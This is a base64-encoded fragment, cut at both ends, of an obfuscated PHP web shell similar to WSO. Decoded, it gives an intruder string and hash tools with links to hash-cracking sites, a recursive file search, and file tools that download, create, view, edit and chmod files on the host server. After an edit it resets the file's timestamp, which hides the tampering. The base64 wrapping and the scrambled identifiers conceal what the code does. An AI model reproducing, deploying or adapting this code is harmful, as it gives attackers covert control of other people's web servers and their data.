fIiAuIGRhdGUoIlltZF9IaXMiKSAuICIuIiAuICgkX0NPT0tJRVsnc2VqeiddID09ICd6aXAnID8gJ3ppcCcgOiAndGFyLmd6Jyk7CiAgICAgICAgZWNobyAiZmlsZSBuYW1lOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9cDIgdmFsdWU9JyIgLiBra3dhdW8oJGpya2Jkd2txKSAuICInPiZuYnNwOyI7CiAgICB9CgogICAgZWNobyAiPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jz48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+PC9kaXY+IjsKCiAgICBqendkeigpOwp9CgpmdW5jdGlvbiBhY3Rpb25TdHJpbmdUb29scygpIHsKICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCdoZXgyYmluJykpIHsKCiAgICAgICAgZnVuY3Rpb24gaGV4MmJpbigkaG9vaXp6KSB7CiAgICAgICAgICAgIHJldHVybiBkZWNiaW4oaGV4ZGVjKCRob29penopKTsKICAgICAgICB9CgogICAgfQogICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2JpbmhleCcpKSB7CgogICAgICAgIGZ1bmN0aW9uIHJnbWt3cW8oJGhvb2l6eikgewogICAgICAgICAgICByZXR1cm4gZGVjaGV4KGJpbmRlYygkaG9vaXp6KSk7CiAgICAgICAgfQoKICAgIH0KICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCdoZXgyYXNjaWknKSkgewoKICAgICAgICBmdW5jdGlvbiBqZ2lzZWYoJGhvb2l6eikgewogICAgICAgICAgICAkeWNqeWl0bWpnID0gJyc7CiAgICAgICAgICAgIGZvciAoJGplZHByd3ZhZWYgPSAwOyAkamVkcHJ3dmFlZiA8IHN0ckxlbigkaG9vaXp6KTsgJGplZHByd3ZhZWYgKz0gMikgewogICAgICAgICAgICAgICAgJHljanlpdG1qZyAuPSBjaHIoaGV4ZGVjKCRob29penpbJGplZHByd3ZhZWZdIC4gJGhvb2l6elskamVkcHJ3dmFlZiArIDFdKSk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHJldHVybiAkeWNqeWl0bWpnOwogICAgICAgIH0KCiAgICB9CiAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygnYXNjaWkyaGV4JykpIHsKCiAgICAgICAgZnVuY3Rpb24ga3hoYWdwY3UoJGhvb2l6eikgewogICAgICAgICAgICAkeWNqeWl0bWpnID0gJyc7CiAgICAgICAgICAgIGZvciAoJGplZHByd3ZhZWYgPSAwOyAkamVkcHJ3dmFlZiA8IHN0cmxlbigkaG9vaXp6KTsgKyskamVkcHJ3dmFlZikgewogICAgICAgICAgICAgICAgJHljanlpdG1qZyAuPSBzcHJpbnRmKCclMDJYJywgb3JkKCRob29penpbJGplZHByd3ZhZWZdKSk7CgogICAgICAgICAgICAgICAgcmV0dXJuIHN0cnRvdXBwZXIoJHljanlpdG1qZyk7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgfQogICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2Z1bGxfdXJsZW5jb2RlJykpIHsKCiAgICAgICAgZnVuY3Rpb24gcGdza2woJGhvb2l6eikgewogICAgICAgICAgICAkeWNqeWl0bWpnID0gJyc7CiAgICAgICAgICAgIGZvciAoJGplZHByd3ZhZWYgPSAwOyAkamVkcHJ3dmFlZiA8IHN0cmxlbigkaG9vaXp6KTsgKyskamVkcHJ3dmFlZikgewogICAgICAgICAgICAgICAgJHljanlpdG1qZyAuPSAnJScgLiBkZWNoZXgob3JkKCRob29penpbJGplZHByd3ZhZWZdKSk7CgogICAgICAgICAgICAgICAgcmV0dXJuIHN0cnRvdXBwZXIoJHljanlpdG1qZyk7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgfQogICAgJHViZHhicSA9IGFycmF5KAogICAgICAgICdCYXNlNjQgZW5jb2RlJyA9PiAnYmFzZTY0X2VuY29kZScsCiAgICAgICAgJ0Jhc2U2NCBkZWNvZGUnID0+ICdiYXNlNjRfZGVjb2RlJywKICAgICAgICAnVXJsIGVuY29kZScgPT4gJ3VybGVuY29kZScsCiAgICAgICAgJ1VybCBkZWNvZGUnID0+ICd1cmxkZWNvZGUnLAogICAgICAgICdGdWxsIHVybGVuY29kZScgPT4gJ2Z1bGxfdXJsZW5jb2RlJywKICAgICAgICAnbWQ1IGhhc2gnID0+ICdtZDUnLAogICAgICAgICdzaGExIGhhc2gnID0+ICdzaGExJywKICAgICAgICAnY3J5cHQnID0+ICdjcnlwdCcsCiAgICAgICAgJ0NSQzMyJyA9PiAnY3JjMzInLAogICAgICAgICdBU0NJSSB0byBIRVgnID0+ICdhc2NpaTJoZXgnLAogICAgICAgICdIRVggdG8gQVNDSUknID0+ICdoZXgyYXNjaWknLAogICAgICAgICdIRVggdG8gREVDJyA9PiAnaGV4ZGVjJywKICAgICAgICAnSEVYIHRvIEJJTicgPT4gJ2hleDJiaW4nLAogICAgICAgICdERUMgdG8gSEVYJyA9PiAnZGVjaGV4JywKICAgICAgICAnREVDIHRvIEJJTicgPT4gJ2RlY2JpbicsCiAgICAgICAgJ0JJTiB0byBIRVgnID0+ICdiaW5oZXgnLAogICAgICAgICdCSU4gdG8gREVDJyA9PiAnYmluZGVjJywKICAgICAgICAnU3RyaW5nIHRvIGxvd2VyIGNhc2UnID0+ICdzdHJ0b2xvd2VyJywKICAgICAgICAnU3RyaW5nIHRvIHVwcGVyIGNhc2UnID0+ICdzdHJ0b3VwcGVyJywKICAgICAgICAnSHRtbHNwZWNpYWxjaGFycycgPT4gJ2h0bWxzcGVjaWFsY2hhcnMnLAogICAgICAgICdTdHJpbmcgbGVuZ3RoJyA9PiAnc3RybGVuJywKICAgICk7CiAgICBpZiAoaXNzZXQoJF9QT1NUWydsdG5tYSddKSkgewogICAgICAgIHJwbGx3dXd6KG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnLCB0cnVlKTsKICAgICAgICBvYl9zdGFydCgpOwogICAgICAgIGlmIChpbl9hcnJheSgkX1BPU1RbJ2xzZGVlJ10sICR1YmR4YnEpKSB7CiAgICAgICAgICAgIGVjaG8gJF9QT1NUWydsc2RlZSddKCRfUE9TVFsnZHh4eHJkJ10pOwogICAgICAgIH0KICAgICAgICAkam90bGZhY3NxZ3UgPSAiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3N0ck91dHB1dCcpLnN0eWxlLmRpc3BsYXk9Jyc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3N0ck91dHB1dCcpLmlubmVySFRNTD0nIiAuIGFkZGNzbGFzaGVzKGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpLCAiXG5cclx0XFwnXDAiKSAuICInO1xuIjsKICAgICAgICBlY2hvIHN0cmxlbigkam90bGZhY3NxZ3UpLCAiXG4iLCAkam90bGZhY3NxZ3U7CiAgICAgICAgZXhpdDsKICAgIH0KICAgIGlmIChlbXB0eSgkX1BPU1RbJ2x0bm1hJ10pICYmICFlbXB0eSgkX1BPU1RbJ2xzZGVlJ10pKSB7CiAgICAgICAgcnBsbHd1d3oobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCcsIDApOwogICAgfQoKICAgIHFlbXZrKCk7CiAgICBlY2hvICc8aDE+U3RyaW5nIGNvbnZlcnNpb25zPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKICAgIGVjaG8gIjxmb3JtIG5hbWU9J3Rvb2xzRm9ybScgb25TdWJtaXQ9J2lmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7fWVsc2V7ZyhudWxsLG51bGwsdGhpcy5zZWxlY3RUb29sLnZhbHVlLHRoaXMuaW5wdXQudmFsdWUpO30gcmV0dXJuIGZhbHNlOyc+PHNlbGVjdCBuYW1lPSdzZWxlY3RUb29sJz4iOwogICAgZm9yZWFjaCAoJHViZHhicSBhcyAkaHltamxsZHd0YyA9PiAkZWdjb3JldCkgewogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9JyIgLiBodG1sc3BlY2lhbGNoYXJzKCRlZ2NvcmV0KSAuICInPiIgLiAkaHltamxsZHd0YyAuICI8L29wdGlvbj4iOwogICAgfQogICAgZWNobyAiPC9zZWxlY3Q+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jy8+IDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICIgLiAoQCRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnXSA/ICdjaGVja2VkJyA6ICcnKSAuICI+IHNlbmQgdXNpbmcgQUpBWDxicj48dGV4dGFyZWEgbmFtZT0naW5wdXQnIHN0eWxlPSdtYXJnaW4tdG9wOjVweCcgY2xhc3M9YmlnYXJlYT4iIC4gKGVtcHR5KCRfUE9TVFsnbHNkZWUnXSkgPyAnJyA6IGh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsnZHh4eHJkJ10pKSAuICI8L3RleHRhcmVhPjwvZm9ybT48cHJlIGNsYXNzPSdtbDEnIHN0eWxlPSciIC4gKGVtcHR5KCRfUE9TVFsnbHNkZWUnXSkgPyAnZGlzcGxheTpub25lOycgOiAnJykgLiAibWFyZ2luLXRvcDo1cHgnIGlkPSdzdHJPdXRwdXQnPiI7CiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnbHNkZWUnXSkpIHsKICAgICAgICBpZiAoaW5fYXJyYXkoJF9QT1NUWydsc2RlZSddLCAkdWJkeGJxKSkgewogICAgICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydsc2RlZSddKCRfUE9TVFsnZHh4eHJkJ10pKTsKICAgICAgICB9CiAgICB9CiAgICBlY2hvICI8L3ByZT48L2Rpdj48YnI+PGgxPlNlYXJjaCBmaWxlczo8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4KICAgIDxmb3JtIG9uc3VibWl0PVwiZyhudWxsLHRoaXMuY3dkLnZhbHVlLG51bGwsdGhpcy50ZXh0LnZhbHVlLHRoaXMuZmlsZW5hbWUudmFsdWUpO3JldHVybiBmYWxzZTtcIj48dGFibGUgY2VsbHBhZGRpbmc9JzEnIGNlbGxzcGFjaW5nPScwJyB3aWR0aD0nNTAlJz4KICAgICAgICA8dHI+PHRkIHdpZHRoPScxJSc+VGV4dDo8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndGV4dCcgc3R5bGU9J3dpZHRoOjEwMCUnPjwvdGQ+PC90cj4KICAgICAgICA8dHI+PHRkPlBhdGg6PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2N3ZCcgdmFsdWU9JyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWyd6bnBjaXJhZ3VsaSddKSAuICInIHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+CiAgICAgICAgPHRyPjx0ZD5OYW1lOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdmaWxlbmFtZScgdmFsdWU9JyonIHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+CiAgICAgICAgPHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nPj4nPjwvdGQ+PC90cj4KICAgIDwvdGFibGU+PC9mb3JtPiI7CgogICAgZnVuY3Rpb24gcHRteXBxbygkbnJ1ZnN2eGtrKSB7CiAgICAgICAgaWYgKHN1YnN0cigkbnJ1ZnN2eGtrLCAtMSkgIT0gJy8nKSB7CiAgICAgICAgICAgICRucnVmc3Z4a2sgLj0gJy8nOwogICAgICAgIH0KCiAgICAgICAgJHF4dm10ZmxyID0gQGFycmF5X3VuaXF1ZShAYXJyYXlfbWVyZ2UoQGdsb2IoJG5ydWZzdnhrayAuICRfUE9TVFsna3Z1ZWQnXSksIEBnbG9iKCRucnVmc3Z4a2sgLiAnKicsIEdMT0JfT05MWURJUikpKTsKICAgICAgICBpZiAoaXNfYXJyYXkoJHF4dm10ZmxyKSAmJiBAY291bnQoJHF4dm10ZmxyKSkgewogICAgICAgICAgICBmb3JlYWNoICgkcXh2bXRmbHIgYXMgJGZuampmeW9haykgewogICAgICAgICAgICAgICAgaWYgKEBpc19kaXIoJGZuampmeW9haykpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJG5ydWZzdnhrayAhPSAkZm5qamZ5b2FrKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHB0bXlwcW8oJGZuampmeW9hayk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJF9QT1NUWydkeHh4cmQnXSkgfHwgQHN0cnBvcyhmaWxlX2dldF9jb250ZW50cygkZm5qamZ5b2FrKSwgJF9QT1NUWydkeHh4cmQnXSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsbnVsbCxcIiIgLiB1cmxlbmNvZGUoJGZuampmeW9haykgLiAiXCIsIFwidmlld1wiLFwiXCIpJz4iIC4gaHRtbHNwZWNpYWxjaGFycygkZm5qamZ5b2FrKSAuICI8L2E+PGJyPiI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKICAgIGlmIChAJF9QT1NUWydrdnVlZCddKSB7CiAgICAgICAgcHRteXBxbygkX1BPU1RbJ3ZscnNvJ10pOwogICAgfQoKICAgIGVjaG8gIjwvZGl2Pjxicj48aDE+U2VhcmNoIGZvciBoYXNoOjwvaDE+PGRpdiBjbGFzcz1jb250ZW50PgogICAgPGZvcm0gbWV0aG9kPSdwb3N0JyB0YXJnZXQ9J19ibGFuaycgbmFtZT0naGYnPgogICAgICAgIDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdoYXNoJyBzdHlsZT0nd2lkdGg6MjAwcHg7Jz48YnI+CiAgICAgICAgPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYWN0JyB2YWx1ZT0nZmluZCcvPgogICAgICAgIDxpbnB1dCB0eXBlPSdidXR0b24nIHZhbHVlPSdoYXNoY3JhY2tpbmcucnUnIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHBzOi8vaGFzaGNyYWNraW5nLnJ1L2luZGV4LnBocCc7ZG9jdW1lbnQuaGYuc3VibWl0KClcIj48YnI+CiAgICAgICAgPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J21kNS5yZWRub2l6ZS5jb20nIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly9tZDUucmVkbm9pemUuY29tLz9xPScrZG9jdW1lbnQuaGYuaGFzaC52YWx1ZSsnJnM9bWQ1Jztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4KICAgICAgICA8aW5wdXQgdHlwZT0nYnV0dG9uJyB2YWx1ZT0nY3JhY2tmb3IubWUnIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly9jcmFja2Zvci5tZS9pbmRleC5waHAnO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPgogICAgPC9mb3JtPjwvZGl2PiI7CiAgICBqendkeigpOwp9CgpmdW5jdGlvbiBhY3Rpb25GaWxlc1Rvb2xzKCkgewogICAgaWYgKGlzc2V0KCRfUE9TVFsnbHNkZWUnXSkpIHsKICAgICAgICAkX1BPU1RbJ2xzZGVlJ10gPSB1cmxkZWNvZGUoJF9QT1NUWydsc2RlZSddKTsKICAgIH0KICAgIGlmIChAJF9QT1NUWydkeHh4cmQnXSA9PSAnZG93bmxvYWQnKSB7CiAgICAgICAgaWYgKEBpc19maWxlKCRfUE9TVFsnbHNkZWUnXSkgJiYgQGlzX3JlYWRhYmxlKCRfUE9TVFsnbHNkZWUnXSkpIHsKICAgICAgICAgICAgb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQwOTYpOwogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSIgLiBiYXNlbmFtZSgkX1BPU1RbJ2xzZGVlJ10pKTsKICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygibWltZV9jb250ZW50X3R5cGUiKSkgewogICAgICAgICAgICAgICAgJGtqb3VrciA9IEBtaW1lX2NvbnRlbnRfdHlwZSgkX1BPU1RbJ2xzZGVlJ10pOwogICAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6ICIgLiAka2pvdWtyKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkaXd1anJucHJ0dWwgPSBAZm9wZW4oJF9QT1NUWydsc2RlZSddLCAiciIpOwogICAgICAgICAgICBpZiAoJGl3dWpybnBydHVsKSB7CiAgICAgICAgICAgICAgICB3aGlsZSAoIUBmZW9mKCRpd3Vqcm5wcnR1bCkpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvIEBmcmVhZCgkaXd1anJucHJ0dWwsIDEwMjQpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZmNsb3NlKCRpd3Vqcm5wcnR1bCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZXhpdDsKICAgIH0KICAgIGlmIChAJF9QT1NUWydkeHh4cmQnXSA9PSAnbWtmaWxlJykgewogICAgICAgIGlmICghZmlsZV9leGlzdHMoJF9QT1NUWydsc2RlZSddKSkgewogICAgICAgICAgICAkaXd1anJucHJ0dWwgPSBAZm9wZW4oJF9QT1NUWydsc2RlZSddLCAndycpOwogICAgICAgICAgICBpZiAoJGl3dWpybnBydHVsKSB7CiAgICAgICAgICAgICAgICAkX1BPU1RbJ2R4eHhyZCddID0gImVkaXQiOwogICAgICAgICAgICAgICAgZmNsb3NlKCRpd3Vqcm5wcnR1bCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICBxZW12aygpOwogICAgZWNobyAnPGgxPkZpbGUgdG9vbHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwogICAgaWYgKCFmaWxlX2V4aXN0cyhAJF9QT1NUWydsc2RlZSddKSkgewogICAgICAgIGVjaG8gJ0ZpbGUgbm90IGV4aXN0cyc7CiAgICAgICAganp3ZHooKTsKCiAgICAgICAgcmV0dXJuOwogICAgfQogICAgJHZubndtcGh2ciA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRfUE9TVFsnbHNkZWUnXSkpOwogICAgaWYgKCEkdm5ud21waHZyKSB7CiAgICAgICAgJHZubndtcGh2clsnbmFtZSddID0gQGZpbGVvd25lcigkX1BPU1RbJ2xzZGVlJ10pOwogICAgICAgICR3enl6eXBbJ25hbWUnXSA9IEBmaWxlZ3JvdXAoJF9QT1NUWydsc2RlZSddKTsKICAgIH0gZWxzZSB7CiAgICAgICAgJHd6eXp5cCA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRfUE9TVFsnbHNkZWUnXSkpOwogICAgfQogICAgZWNobyAnPHNwYW4+TmFtZTo8L3NwYW4+ICcgLiBodG1sc3BlY2lhbGNoYXJzKEBiYXNlbmFtZSgkX1BPU1RbJ2xzZGVlJ10pKSAuICcgPHNwYW4+U2l6ZTo8L3NwYW4+ICcgLiAoaXNfZmlsZSgkX1BPU1RbJ2xzZGVlJ10pID8gZGJ0Y3EoZmlsZXNpemUoJF9QT1NUWydsc2RlZSddKSkgOiAnLScpIC4gJyA8c3Bhbj5QZXJtaXNzaW9uOjwvc3Bhbj4gJyAuIHF3emdrKCRfUE9TVFsnbHNkZWUnXSkgLiAnIDxzcGFuPk93bmVyL0dyb3VwOjwvc3Bhbj4gJyAuICR2bm53bXBodnJbJ25hbWUnXSAuICcvJyAuICR3enl6eXBbJ25hbWUnXSAuICc8YnI+JzsKICAgIGVjaG8gJzxzcGFuPkNoYW5nZSB0aW1lOjwvc3Bhbj4gJyAuIGRhdGUoJ1ktbS1kIEg6aTpzJywgZmlsZWN0aW1lKCRfUE9TVFsnbHNkZWUnXSkpIC4gJyA8c3Bhbj5BY2Nlc3MgdGltZTo8L3NwYW4+ICcgLiBkYXRlKCdZLW0tZCBIOmk6cycsIGZpbGVhdGltZSgkX1BPU1RbJ2xzZGVlJ10pKSAuICcgPHNwYW4+TW9kaWZ5IHRpbWU6PC9zcGFuPiAnIC4gZGF0ZSgnWS1tLWQgSDppOnMnLCBmaWxlbXRpbWUoJF9QT1NUWydsc2RlZSddKSkgLiAnPGJyPjxicj4nOwogICAgaWYgKGVtcHR5KCRfUE9TVFsnZHh4eHJkJ10pKSB7CiAgICAgICAgJF9QT1NUWydkeHh4cmQnXSA9ICd2aWV3JzsKICAgIH0KICAgIGlmIChpc19maWxlKCRfUE9TVFsnbHNkZWUnXSkpIHsKICAgICAgICAkcWJ4dXNhbWd3cmZrID0gYXJyYXkoJ1ZpZXcnLCAnSGlnaGxpZ2h0JywgJ0Rvd25sb2FkJywgJ0hleGR1bXAnLCAnRWRpdCcsICdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsKICAgIH0gZWxzZSB7CiAgICAgICAgJHFieHVzYW1nd3JmayA9IGFycmF5KCdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsKICAgIH0KCiAgICBmb3JlYWNoICgkcWJ4dXNhbWd3cmZrIGFzICRlZ2NvcmV0KSB7CiAgICAgICAgZWNobyAnPGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ2xzZGVlJ10pIC4gJ1wnLFwnJyAuIHN0cnRvbG93ZXIoJGVnY29yZXQpIC4gJ1wnKSI+JyAuICgoc3RydG9sb3dlcigkZWdjb3JldCkgPT0gQCRfUE9TVFsnZHh4eHJkJ10pID8gJzxiPlsgJyAuICRlZ2NvcmV0IC4gJyBdPC9iPicgOiAkZWdjb3JldCkgLiAnPC9hPiAnOwogICAgfQogICAgZWNobyAnPGJyPjxicj4nOwogICAgc3dpdGNoICgkX1BPU1RbJ2R4eHhyZCddKSB7CiAgICAgICAgY2FzZSAndmlldyc6CiAgICAgICAgICAgIGVjaG8gJzxwcmUgY2xhc3M9bWwxPic7CiAgICAgICAgICAgICRpd3Vqcm5wcnR1bCA9IEBmb3BlbigkX1BPU1RbJ2xzZGVlJ10sICdyJyk7CiAgICAgICAgICAgIGlmICgkaXd1anJucHJ0dWwpIHsKICAgICAgICAgICAgICAgIHdoaWxlICghQGZlb2YoJGl3dWpybnBydHVsKSkgewogICAgICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGl3dWpybnBydHVsLCAxMDI0KSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBAZmNsb3NlKCRpd3Vqcm5wcnR1bCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAnPC9wcmU+JzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnaGlnaGxpZ2h0JzoKICAgICAgICAgICAgaWYgKEBpc19yZWFkYWJsZSgkX1BPU1RbJ2xzZGVlJ10pKSB7CiAgICAgICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPW1sMSBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UxZTFlMTtjb2xvcjpibGFjazsiPic7CiAgICAgICAgICAgICAgICAkeGFudWRmayA9IEBoaWdobGlnaHRfZmlsZSgkX1BPU1RbJ2xzZGVlJ10sIHRydWUpOwogICAgICAgICAgICAgICAgZWNobyBzdHJfcmVwbGFjZShhcnJheSgnPHNwYW4gJywgJzwvc3Bhbj4nKSwgYXJyYXkoJzxmb250ICcsICc8L2ZvbnQ+JyksICR4YW51ZGZrKSAuICc8L2Rpdj4nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2NobW9kJzoKICAgICAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2t2dWVkJ10pKSB7CiAgICAgICAgICAgICAgICAkcHR5Y2R6eHlxID0gMDsKICAgICAgICAgICAgICAgIGZvciAoJGplZHByd3ZhZWYgPSBzdHJsZW4oJF9QT1NUWydrdnVlZCddKSAtIDE7ICRqZWRwcnd2YWVmID49IDA7IC0tJGplZHByd3ZhZWYpIHsKICAgICAgICAgICAgICAgICAgICAkcHR5Y2R6eHlxICs9IChpbnQpJF9QT1NUWydrdnVlZCddWyRqZWRwcnd2YWVmXSAqIHBvdyg4LCAoc3RybGVuKCRfUE9TVFsna3Z1ZWQnXSkgLSAkamVkcHJ3dmFlZiAtIDEpKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICghQGNobW9kKCRfUE9TVFsnbHNkZWUnXSwgJHB0eWNkenh5cSkpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICdDYW5cJ3Qgc2V0IHBlcm1pc3Npb25zITxicj48c2NyaXB0PmRvY3VtZW50LnFodi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGNsZWFyc3RhdGNhY2hlKCk7CiAgICAgICAgICAgIGVjaG8gJzxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pjxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydsc2RlZSddKSAuICdcJyxudWxsLHRoaXMuY2htb2QudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jaG1vZCB2YWx1ZT0iJyAuIHN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ2xzZGVlJ10pKSwgLTQpIC4gJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2VkaXQnOgogICAgICAgICAgICBpZiAoIWlzX3dyaXRhYmxlKCRfUE9TVFsnbHNkZWUnXSkpIHsKICAgICAgICAgICAgICAgIGVjaG8gJ0ZpbGUgaXNuXCd0IHdyaXRlYWJsZSc7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoIWVtcHR5KCRfUE9TVFsna3Z1ZWQnXSkpIHsKICAgICAgICAgICAgICAgICR4dXpnbHVya29wc2ggPSBAZmlsZW10aW1lKCRfUE9TVFsnbHNkZWUnXSk7CiAgICAgICAgICAgICAgICAkX1BPU1RbJ2t2dWVkJ10gPSBzdWJzdHIoJF9QT1NUWydrdnVlZCddLCAxKTsKICAgICAgICAgICAgICAgICRpd3Vqcm5wcnR1bCA9IEBmb3BlbigkX1BPU1RbJ2xzZGVlJ10sICJ3Iik7CiAgICAgICAgICAgICAgICBpZiAoJGl3dWpybnBydHVsKSB7CiAgICAgICAgICAgICAgICAgICAgQGZ3cml0ZSgkaXd1anJucHJ0dWwsICRfUE9TVFsna3Z1ZWQnXSk7CiAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkaXd1anJucHJ0dWwpOwogICAgICAgICAgICAgICAgICAgIGVjaG8gJ1NhdmVkITxicj48c2NyaXB0PnAzXz0iIjs8L3NjcmlwdD4nOwogICAgICAgICAgICAgICAgICAgIEB0b3VjaCgkX1BPU1RbJ2xzZGVlJ10sICR4dXpnbHVya29wc2gsICR4dXpnbHVya29wc2gpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydsc2RlZSddKSAuICdcJyxudWxsLFwnMVwnK3RoaXMudGV4dC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHRleHRhcmVhIG5hbWU9dGV4dCBjbGFzcz1iaWdhcmVhPic7CiAgICAgICAgICAgICRpd3Vqcm5wcnR1bCA9IEBmb3BlbigkX1BPU1RbJ2xzZGVlJ10sICdyJyk7CiAgICAgICAgICAgIGlmICgkaXd1anJucHJ0dWwpIHsKICAgICAgICAgICAgICAgIHdoaWxlICghQGZlb2YoJGl3dWpybnBydHVsKSkgewogICAgICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGl3dWpybnBydHVsLCAxMDI0KSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBAZmNsb3NlKCRpd3Vqcm5wcnR1bCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAnPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2